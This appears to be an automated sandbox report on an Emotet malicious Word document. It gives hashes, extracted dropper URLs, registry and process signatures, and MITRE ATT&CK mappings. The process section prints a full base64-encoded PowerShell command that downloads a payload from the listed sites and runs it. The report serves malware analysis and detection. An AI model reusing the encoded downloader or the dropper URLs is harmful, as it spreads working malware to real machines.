8774a4e21e5c187c5b68d43c4789009a3eca07aa1193d674b5589938ea46f663

General

Target
emotet_e2_8774a4e21e5c187c5b68d43c4789009a3eca07aa1193d674b5589938ea46f663_2020-10-30__001439598666._doc.doc
Size 242KB
Sample201108-tjch837jb6
SHA256 8774a4e21e5c187c5b68d43c4789009a3eca07aa1193d674b5589938ea46f663
MD5 563c9b534a3d8285fc7c4bac32d50ad1
SHA1 1a74d48baf1696c748a7b2c96f2bee5cb4a874aa
SHA512 e11026ea65753d81f4e29429d7a0cf2c590935b1b452d7b1f134206e58974042eb063a9128b681184a5cd5d5673be7c90c9215899afa027ba23aa00659bd51c5
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

exe.dropper
https://foryoulady.com/wp-admin/H3Tu5s/
exe.dropper
https://www.flem-cartoons.fr/wp-includes/Gogzje/
exe.dropper
https://blog.19850120.xyz/wp-admin/VOfoZiU/
exe.dropper
http://capellaevents.com/val-images/mD2zBip/
exe.dropper
https://amirthafoundation.com/wp-admin/0KetV/
exe.dropper
https://busyafnutrition.com.au/wp-admin/A83yfME/
exe.dropper
http://sploong.net/cgi-bin/JsbuL5/
exe.dropper
https://sygnalizujemy.pl/wp-admin/yj/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1464	360	POwersheLL.exe	76

Blacklisted process makes network request 6 IoCs

flow	pid	Process
16	1464	POwersheLL.exe
21	1464	POwersheLL.exe
23	1464	POwersheLL.exe
25	1464	POwersheLL.exe
27	1464	POwersheLL.exe
29	1464	POwersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1212	WINWORD.EXE
1212	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1464	POwersheLL.exe
1464	POwersheLL.exe
1464	POwersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1464	POwersheLL.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1212	WINWORD.EXE
1212	WINWORD.EXE
1212	WINWORD.EXE
1212	WINWORD.EXE
1212	WINWORD.EXE
1212	WINWORD.EXE
1212	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_8774a4e21e5c187c5b68d43c4789009a3eca07aa1193d674b5589938ea46f663_2020-10-30__001439598666._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1212

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD cwBlAFQAIAAoACcAQQBoAFUAJwArACcAOABWACcAKQAgACgAWwBUAHkAUABlAF0AKAAiAHsANgB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMAB9AHsANQB9AHsAMQB9ACIAIAAtAGYAIAAnAC4ARABJAFIAZQBjAFQAbwAnACwAJwB5ACcALAAnAFkAcwB0ACcALAAnAC4ASQBPACcALAAnAEUATQAnACwAJwBSACcALAAnAHMAJwApACAAIAApACAAOwAgACAAJAA0AHoAZwA3ACAAIAA9AFsAVAB5AFAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADQAfQB7ADkAfQB7ADYAfQB7ADcAfQB7ADMAfQB7ADEAfQB7ADIAfQB7ADgAfQAiACAALQBGACcALgBOAGUAJwAsACcAbwBpAG4AdAAnACwAJwBtAEEAJwAsACcAcAAnACwAJwB0ACcALAAnAFMAeQBTAFQAZQBNACcALAAnAHIAdgBJAEMAJwAsACcARQAnACwAJwBOAEEARwBFAFIAJwAsACcALgBTAGUAJwApACAAOwAgACQAVwA3AGoAbQBjAHIAMAA9ACgAJwBOACcAKwAoACcAdABjAGwAJwArACcAbQAnACkAKwAnAHAAeQAnACkAOwAkAE0AZgBkADMAdAB1AGcAPQAkAEgAdgBmADcAaQA1AG4AIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFcAdQBvAGgAMgA1ADIAOwAkAEUAYgA5AHkAawA2AGIAPQAoACgAJwBSAHUAdABpACcAKwAnAGkAJwApACsAJwB0AG0AJwApADsAIAAgACgAZwBlAHQALQB2AEEAcgBpAGEAQgBsAGUAIAAoACcAQQBoAHUAJwArACcAOAB2ACcAKQAgACAAKQAuAHYAQQBMAHUAZQA6ADoAIgBDAHIAYABlAGEAYABUAEUAZABJAFIAZQBjAFQAYABvAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAEUAdgAnACsAKAAnAGoAJwArACcAWgB4AGsAJwArACcAYgAzAGwAJwApACsAJwA1ACcAKwAoACcARQB2AGoAJwArACcATwBnACcAKQArACgAJwBsACcAKwAnAG8ANwB4ADAARQAnACsAJwB2AGoAJwApACkALQBSAGUAcABMAGEAQwBFACgAJwBFACcAKwAnAHYAagAnACkALABbAEMASABBAFIAXQA5ADIAKQApADsAJABOAHIAZABrAHIAYwA0AD0AKAAnAE4AJwArACgAJwA5AHEAcwAnACsAJwBjADMAJwApACsAJwBfACcAKQA7ACAAJAA0AHoAZwA3ADoAOgAiAHMAYABlAGMAdQBSAEkAdABZAFAAcgBgAE8AVABPAGMAYABPAEwAIgAgAD0AIAAoACcAVAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACkAOwAkAFUAaQBlAGsAcwBhAHYAPQAoACcATwB4ACcAKwAoACcAaAB5AGwAZQAnACsAJwBkACcAKQApADsAJABLAHEAegBlAHQAcwA3ACAAPQAgACgAKAAnAEYAawAnACsAJwB5ACcAKQArACgAJwBrADEAJwArACcAcQBuACcAKQApADsAJABHADgAZQBtAG8AdABxAD0AKAAoACcAUAAnACsAJwA0AHEAXwBvACcAKQArACcAYwB4ACcAKQA7ACQAWAB5ADIANgA2AGYAMQA9ACgAKAAnAFcAZABsADQAJwArACcAZAAnACkAKwAnAHoAXwAnACkAOwAkAFUAMgBlAHUAcQBwAGgAPQAkAEgATwBNAEUAKwAoACgAJwBTAFIAJwArACgAJwBrACcAKwAnAFoAeABrACcAKQArACgAJwBiADMAbAA1ACcAKwAnAFMAUgBrAE8AJwArACcAZwBsACcAKwAnAG8AJwApACsAJwA3ACcAKwAoACcAeAAwAFMAJwArACcAUgBrACcAKQApAC4AIgByAGAARQBgAHAATABBAEMARQAiACgAKABbAGMASABBAFIAXQA4ADMAKwBbAGMASABBAFIAXQA4ADIAKwBbAGMASABBAFIAXQAxADAANwApACwAWwBTAHQAUgBpAG4AZwBdAFsAYwBIAEEAUgBdADkAMgApACkAKwAkAEsAcQB6AGUAdABzADcAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABXAGEAYgB2ADcAaQBiAD0AKAAoACcARgAnACsAJwBsAGMAcwB6AGQAJwApACsAJwAwACcAKQA7ACQASgBwADAAYwA0ADgANgA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBFAHQALgB3AGUAQgBDAEwASQBlAE4AVAA7ACQAQwAyAG8AMQA2AHUAMwA9ACgAKAAoACgAJwBoAHQAdAAnACsAJwBwAHMAOgBdACcAKwAnAFsAIAAxACkAIAAnACkAKQArACgAKAAnAGoAJwArACcAagBrAGcAUwAgAFsAXQAgAFsAXQB3AF0AWwAgACcAKwAnADEAJwArACcAKQAgAGoAagAnACkAKQArACgAKAAnAGsAZwAnACsAJwBTACAAWwBdACAAWwBdACcAKwAnAHcAZgAnACsAJwBvAHIAJwArACcAeQBvAHUAJwArACcAbABhAGQAeQAuAGMAbwBtACcAKwAnAF0AWwAgADEAKQAgAGoAagBrAGcAUwAgACcAKwAnAFsAXQAgAFsAXQAnACsAJwB3ACcAKwAnAHcAJwArACcAcAAtAGEAZABtAGkAbgBdAFsAIAAxACkAJwArACcAIABqAGoAawBnAFMAIABbAF0AIABbAF0AJwArACcAdwAnACsAJwBIADMAVAB1ACcAKwAnADUAcwAnACsAJwBdAFsAIAAxACcAKwAnACkAJwArACcAIABqAGoAJwArACcAawBnAFMAIABbAF0AIAAnACsAJwBbAF0AdwAnACsAJwBAACcAKwAnAGgAdAAnACsAJwB0ACcAKQApACsAJwBwACcAKwAoACgAJwBzADoAXQAnACsAJwBbACcAKwAnACAAJwArACcAMQApACAAagAnACsAJwBqAGsAZwBTACcAKwAnACAAWwBdACAAJwArACcAWwBdAHcAXQBbACAAJwApACkAKwAoACgAJwAxACkAJwArACcAIABqAGoAJwArACcAawBnAFMAJwArACcAIABbAF0AIABbACcAKwAnAF0AdwB3AHcAdwAnACkAKQArACgAKAAnAC4AZgAnACsAJwBsAGUAbQAnACsAJwAtAGMAJwArACcAYQAnACsAJwByAHQAbwBvAG4AcwAuAGYAcgBdAFsAIAAxACkAJwArACcAIABqAGoAawBnAFMAJwArACcAIABbACcAKwAnAF0AIABbACcAKQApACsAKAAoACcAXQB3ACcAKwAnAHcAJwArACcAcAAnACsAJwAtACcAKwAnAGkAbgAnACsAJwBjAGwAdQBkACcAKwAnAGUAcwBdAFsAIAAxACkAIABqACcAKwAnAGoAawBnAFMAIABbAF0AJwArACcAIAAnACsAJwBbAF0AdwBHAG8AZwB6AGoAZQBdAFsAIAAxACcAKwAnACkAIAAnACsAJwBqAGoAawBnACcAKwAnAFMAIABbAF0AJwArACcAIABbAF0AJwArACcAdwBAACcAKwAnAGgAJwArACcAdAB0ACcAKwAnAHAAJwArACcAcwA6AF0AJwArACcAWwAgADEAJwArACcAKQAgAGoAagBrAGcAUwAgACcAKwAnAFsAXQAgAFsAXQAnACsAJwB3AF0AWwAnACsAJwAgADEAKQAnACsAJwAgACcAKwAnAGoAJwArACcAagBrAGcAJwArACcAUwAgAFsAXQAgAFsAJwArACcAXQB3ACcAKwAnAGIAbAAnACsAJwBvACcAKwAnAGcALgAxADkAOAA1ADAAMQAnACsAJwAyADAALgB4ACcAKQApACsAKAAoACcAeQB6AF0AWwAnACsAJwAgADEAKQAnACsAJwAgACcAKwAnAGoAJwArACcAagBrAGcAUwAgAFsAXQAgAFsAJwArACcAXQAnACsAJwB3AHcAJwApACkAKwAoACgAJwBwACcAKwAnAC0AYQBkAG0AaQBuAF0AJwArACcAWwAgACcAKwAnADEAKQAgAGoAagAnACsAJwBrAGcAJwArACcAUwAnACsAJwAgAFsAXQAgAFsAXQB3AFYATwAnACkAKQArACgAKAAnAGYAbwBaAGkAJwArACcAVQBdAFsAIAAxACkAIAAnACsAJwBqAGoAJwArACcAawBnAFMAIAAnACsAJwBbAF0AJwArACcAIABbAF0AdwAnACsAJwBAACcAKwAnAGgAdAB0AHAAOgBdACcAKwAnAFsAJwArACcAIAAxACkAJwArACcAIAAnACsAJwBqAGoAawBnAFMAJwArACcAIAAnACsAJwBbAF0AIABbACcAKwAnAF0AdwAnACsAJwBdAFsAIAAxACkAIABqAGoAJwArACcAawAnACkAKQArACgAKAAnAGcAUwAgAFsAXQAgAFsAXQAnACsAJwB3AGMAYQBwACcAKwAnAGUAbABsAGEAZQB2AGUAbgAnACsAJwB0AHMALgBjAG8AbQBdAFsAIAAxACkAIABqAGoAawBnACcAKwAnAFMAIABbAF0AJwArACcAIAAnACsAJwBbAF0AJwArACcAdwB2AGEAbAAtAGkAbQBhAGcAJwArACcAZQAnACkAKQArACgAKAAnAHMAJwArACcAXQBbACcAKwAnACAAMQApACAAJwApACkAKwAoACgAJwBqAGoAawAnACsAJwBnACcAKwAnAFMAJwArACcAIAAnACsAJwBbAF0AIABbAF0AdwBtACcAKwAnAEQAMgB6ACcAKwAnAEIAaQBwACcAKwAnAF0AWwAgADEAKQAgAGoAJwArACcAagBrAGcAUwAnACsAJwAgAFsAXQAgACcAKwAnAFsAXQAnACsAJwB3AEAAaAB0AHQAcABzACcAKwAnADoAXQBbACAAMQApACAAagBqACcAKwAnAGsAZwAnACsAJwBTACcAKwAnACAAWwAnACsAJwBdACAAWwBdAHcAJwArACcAXQBbACAAMQApACAAJwArACcAagBqAGsAZwBTACAAJwArACcAWwBdACAAJwArACcAWwBdACcAKwAnAHcAYQBtAGkAcgB0ACcAKwAnAGgAYQBmACcAKwAnAG8AdQBuAGQAYQB0AGkAbwBuAC4AYwBvAG0AXQBbACAAMQAnACsAJwApACcAKwAnACAAagBqAGsAZwBTACAAWwAnACkAKQArACgAJwBdACAAWwAnACsAJwBdAHcAdwBwAC0AYQAnACsAJwBkAG0AJwApACsAKAAoACcAaQBuAF0AWwAgACcAKwAnADEAKQAgAGoAagBrAGcAJwArACcAUwAgACcAKwAnAFsAXQAgAFsAJwArACcAXQB3ADAASwAnACsAJwBlAHQAVgAnACkAKQArACgAKAAnAF0AWwAnACsAJwAgADEAJwArACcAKQAgACcAKQApACsAKAAoACcAagBqACcAKwAnAGsAZwBTACcAKwAnACAAJwArACcAWwBdACAAWwBdAHcAQABoAHQAdABwAHMAOgBdAFsAJwArACcAIAAxACkAIAAnACsAJwBqAGoAawAnACsAJwBnAFMAIAAnACsAJwBbAF0AJwArACcAIABbAF0AdwAnACsAJwBdAFsAIAAxACkAIAAnACsAJwBqAGoAJwArACcAawBnAFMAIABbAF0AIAAnACkAKQArACgAKAAnAFsAJwArACcAXQB3AGIAdQBzAHkAYQAnACsAJwBmAG4AdQB0AHIAaQB0AGkAbwAnACsAJwBuAC4AYwAnACsAJwBvAG0ALgBhACcAKwAnAHUAJwArACcAXQBbACAAMQApACAAJwArACcAagBqACcAKwAnAGsAZwBTACAAWwBdACAAWwAnACsAJwBdAHcAdwBwAC0AYQBkACcAKwAnAG0AJwArACcAaQBuAF0AJwArACcAWwAnACsAJwAgADEAJwArACcAKQAnACsAJwAgAGoAJwArACcAagBrACcAKwAnAGcAUwAgACcAKwAnAFsAXQAgAFsAXQB3AEEAOAAnACsAJwAzACcAKwAnAHkAZgBNAEUAXQBbACAAMQAnACsAJwApACAAagAnACsAJwBqAGsAZwAnACsAJwBTACAAJwArACcAWwBdACAAJwArACcAWwBdACcAKwAnAHcAQABoAHQAJwArACcAdABwACcAKQApACsAKAAoACcAOgBdAFsAIAAxACkAIABqACcAKwAnAGoAawAnACsAJwBnAFMAIAAnACsAJwBbAF0AIABbAF0AdwAnACkAKQArACgAKAAnAF0AWwAgADEAKQAgAGoAagAnACsAJwBrACcAKwAnAGcAJwArACcAUwAgAFsAXQAnACsAJwAgACcAKQApACsAKAAnAFsAXQB3ACcAKwAnAHMAJwApACsAKAAnAHAAJwArACcAbABvAG8AbgBnAC4AJwApACsAKAAnAG4AJwArACcAZQB0AF0AWwAgACcAKQArACgAKAAnADEAKQAnACsAJwAgACcAKwAnAGoAJwArACcAagBrAGcAJwArACcAUwAnACsAJwAgAFsAJwArACcAXQAgAFsAXQAnACsAJwB3AGMAZwBpAC0AYgAnACsAJwBpAG4AXQBbACAAMQApACcAKwAnACAAagBqAGsAZwBTACAAWwAnACsAJwBdACAAWwBdAHcAJwArACcASgBzACcAKwAnAGIAJwArACcAdQAnACsAJwBMACcAKwAnADUAXQBbACAAMQApACAAagBqACcAKwAnAGsAZwBTACAAJwArACcAWwAnACkAKQArACcAXQAgACcAKwAoACgAJwBbAF0AdwBAAGgAdAB0AHAAcwA6ACcAKwAnAF0AJwArACcAWwAgADEAKQAgAGoAagAnACsAJwBrAGcAJwArACcAUwAgAFsAJwArACcAXQAnACsAJwAgAFsAXQB3AF0AWwAgADEAKQAgAGoAJwArACcAagAnACkAKQArACgAKAAnAGsAZwBTACAAWwBdACAAJwArACcAWwBdAHcAcwB5AGcAbgBhAGwAaQB6AHUAagBlACcAKwAnAG0AeQAuAHAAbABdACcAKwAnAFsAIAAnACsAJwAxACkAIABqAGoAawBnACcAKwAnAFMAIABbAF0AJwArACcAIABbAF0AJwArACcAdwB3AHAALQAnACsAJwBhAGQAbQAnACsAJwBpAG4AXQBbACcAKwAnACAAMQApACAAJwArACcAagBqAGsAZwBTACAAJwApACkAKwAoACcAWwBdACcAKwAnACAAWwBdACcAKQArACgAKAAnAHcAeQAnACsAJwBqAF0AWwAnACsAJwAgADEAKQAgACcAKQApACsAKAAnAGoAagAnACsAJwBrAGcAUwAgAFsAJwApACsAKAAnAF0AIABbACcAKwAnAF0AdwAnACkAKQApAC4AIgByAEUAYABwAEwAYABBAGMAZQAiACgAKAAoACcAXQBbACcAKwAnACAAMQAnACsAKAAoACcAKQAnACsAJwAgAGoAJwApACkAKwAoACcAagBrACcAKwAnAGcAJwArACcAUwAgAFsAJwApACsAJwBdACAAJwArACgAJwBbACcAKwAnAF0AdwAnACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwB4ACcAKwAnAHcAZQAnACkAKQBbADAAXQApAC4AIgBTAGAAcABMAGkAdAAiACgAJABSAGcAbwBjADEAdABqACAAKwAgACQATQBmAGQAMwB0AHUAZwAgACsAIAAkAEUAMgBzAGwAaAB4ADQAKQA7ACQAVgBkAGUAbwBhAGIAeAA9ACgAJwBQADEAJwArACcAeAB1ACcAKwAoACcAYwAnACsAJwBpADEAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAE8AMQBhADcAYgBqAHAAIABpAG4AIAAkAEMAMgBvADEANgB1ADMAKQB7AHQAcgB5AHsAJABKAHAAMABjADQAOAA2AC4AIgBEAG8AdwBOAEwAbwBBAGAARABmAGAASQBsAEUAIgAoACQATwAxAGEANwBiAGoAcAAsACAAJABVADIAZQB1AHEAcABoACkAOwAkAEQAZwBlADkAbAA4AHcAPQAoACgAJwBUACcAKwAnADkAcABmADEAJwApACsAJwAyADUAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFUAMgBlAHUAcQBwAGgAKQAuACIAbABlAG4AYABnAHQAaAAiACAALQBnAGUAIAA0ADEAMgA5ADcAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAKAAnAHcAJwArACcAaQBuADMAJwApACsAKAAnADIAXwAnACsAJwBQAHIAJwApACsAJwBvACcAKwAoACcAYwBlAHMAJwArACcAcwAnACkAKQApAC4AIgBjAFIARQBgAEEAdABlACIAKAAkAFUAMgBlAHUAcQBwAGgAKQA7ACQARQB6AHYAMAB1AGQAeAA9ACgAKAAnAFMAJwArACcAcQBhADgAMQAnACkAKwAnAGIAMAAnACkAOwBiAHIAZQBhAGsAOwAkAFQAZwBiAHMANwB2ADgAPQAoACgAJwBVACcAKwAnAHgAZAAnACkAKwAoACcAeAAnACsAJwByADkANwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgBiADcAdQBmADQAdQA9ACgAJwBOACcAKwAoACcAbwAnACsAJwB2AHIAdwBxACcAKQArACcAYgAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1464

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1212-0-0x00007FFC48530000-0x00007FFC48B67000-memory.dmp

Download

memory/1212-2-0x000001D9EC542000-0x000001D9EC547000-memory.dmp

Download

memory/1212-1-0x000001D9E9FB3000-0x000001D9E9FE0000-memory.dmp

Download

memory/1212-3-0x000001D9EC542000-0x000001D9EC547000-memory.dmp

Download

memory/1212-4-0x000001D9EC53F000-0x000001D9EC542000-memory.dmp

Download

memory/1212-5-0x000001D9EC542000-0x000001D9EC547000-memory.dmp

Download

memory/1464-6-0x00007FFC3A290000-0x00007FFC3AC7C000-memory.dmp

Download

memory/1464-7-0x00000180539B0000-0x00000180539B1000-memory.dmp

Download

memory/1464-8-0x0000018053A70000-0x0000018053A71000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads